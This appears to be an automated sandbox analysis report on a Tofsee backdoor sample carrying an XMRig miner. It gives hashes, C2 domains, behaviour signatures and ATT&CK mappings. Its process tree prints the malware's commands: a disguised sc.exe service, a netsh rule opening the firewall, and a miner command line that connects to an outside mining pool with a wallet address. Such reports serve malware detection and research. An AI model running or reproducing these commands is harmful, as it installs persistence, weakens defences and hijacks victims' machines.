Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    04-06-2022 19:20

General

  • Target

    e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0.exe

  • Size

    199KB

  • MD5

    b50f0dc5c7ee3c652ee02fa51d54ad12

  • SHA1

    d2135df15e6c553eddc26c7597caa49954118f32

  • SHA256

    e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0

  • SHA512

    edd3a48bea40eddc65d107ca09252ffae6023600359965ad3ee79f00a18dcff88acc19ac40be8fb1c6f5974df15a6110543c7fca9ed425ad9ec37c0348390f8c

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0.exe
    "C:\Users\Admin\AppData\Local\Temp\e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gkgfhona\
      2⤵
        PID:4504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lzfwasre.exe" C:\Windows\SysWOW64\gkgfhona\
        2⤵
          PID:4696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gkgfhona binPath= "C:\Windows\SysWOW64\gkgfhona\lzfwasre.exe /d\"C:\Users\Admin\AppData\Local\Temp\e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gkgfhona "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gkgfhona
          2⤵
          • Launches sc.exe
          PID:2332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4776
      • C:\Windows\SysWOW64\gkgfhona\lzfwasre.exe
        C:\Windows\SysWOW64\gkgfhona\lzfwasre.exe /d"C:\Users\Admin\AppData\Local\Temp\e0e082a3dba1ed790a2a71768e7076032a7452eaafc9f9fe34db0c29cba540c0.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3332
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4660

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\lzfwasre.exe
        Filesize

        14.3MB

        MD5

        3b3a6273b5b29816ba8175da87fda054

        SHA1

        c56870d7f8c70505e7d84e1d052cee3b273b2418

        SHA256

        91472cdeb40226a9d86fd7b1621ba0f4be30197af5858fc0ba59b96521fc3c8a

        SHA512

        097213d9b920ec2a926ece388f99169ddeb32d3c6f564d97da47ab402ef4e9b8b3821ea380668d7d45bbc89d63ba7b165cb0db84900b2751e11a32d786815b85

      • C:\Windows\SysWOW64\gkgfhona\lzfwasre.exe
        Filesize

        14.3MB

        MD5

        3b3a6273b5b29816ba8175da87fda054

        SHA1

        c56870d7f8c70505e7d84e1d052cee3b273b2418

        SHA256

        91472cdeb40226a9d86fd7b1621ba0f4be30197af5858fc0ba59b96521fc3c8a

        SHA512

        097213d9b920ec2a926ece388f99169ddeb32d3c6f564d97da47ab402ef4e9b8b3821ea380668d7d45bbc89d63ba7b165cb0db84900b2751e11a32d786815b85

      • memory/1116-188-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/1116-189-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/1116-187-0x0000000000000000-mapping.dmp
      • memory/2332-192-0x0000000000000000-mapping.dmp
      • memory/2344-488-0x0000000002F00000-0x0000000002F15000-memory.dmp
        Filesize

        84KB

      • memory/2344-487-0x0000000002F00000-0x0000000002F15000-memory.dmp
        Filesize

        84KB

      • memory/2344-435-0x0000000002F09A6B-mapping.dmp
      • memory/2504-156-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-149-0x0000000000B70000-0x0000000000B83000-memory.dmp
        Filesize

        76KB

      • memory/2504-125-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-126-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-127-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-128-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-129-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-130-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-131-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-132-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-133-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-135-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-134-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-137-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-136-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-159-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-140-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-138-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-141-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-142-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-143-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-144-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-145-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-146-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-147-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-148-0x0000000000C1C000-0x0000000000C2A000-memory.dmp
        Filesize

        56KB

      • memory/2504-150-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-122-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-151-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-152-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-153-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-154-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-155-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-123-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-157-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-158-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-139-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-160-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-124-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-162-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-163-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-164-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-165-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/2504-166-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-167-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-168-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-118-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-119-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-218-0x0000000000C1C000-0x0000000000C2A000-memory.dmp
        Filesize

        56KB

      • memory/2504-161-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-219-0x0000000000B70000-0x0000000000B83000-memory.dmp
        Filesize

        76KB

      • memory/2504-120-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-121-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/2504-222-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/3332-436-0x0000000000CB7000-0x0000000000CC5000-memory.dmp
        Filesize

        56KB

      • memory/3332-440-0x0000000000400000-0x00000000008FB000-memory.dmp
        Filesize

        5.0MB

      • memory/4504-172-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4504-169-0x0000000000000000-mapping.dmp
      • memory/4504-170-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4504-171-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4504-173-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4504-175-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4660-523-0x0000000002A9259C-mapping.dmp
      • memory/4696-176-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-174-0x0000000000000000-mapping.dmp
      • memory/4696-178-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-179-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-177-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4696-180-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4776-213-0x0000000000000000-mapping.dmp
      • memory/4996-181-0x0000000000000000-mapping.dmp
      • memory/4996-182-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4996-183-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4996-184-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB

      • memory/4996-186-0x0000000077310000-0x000000007749E000-memory.dmp
        Filesize

        1.6MB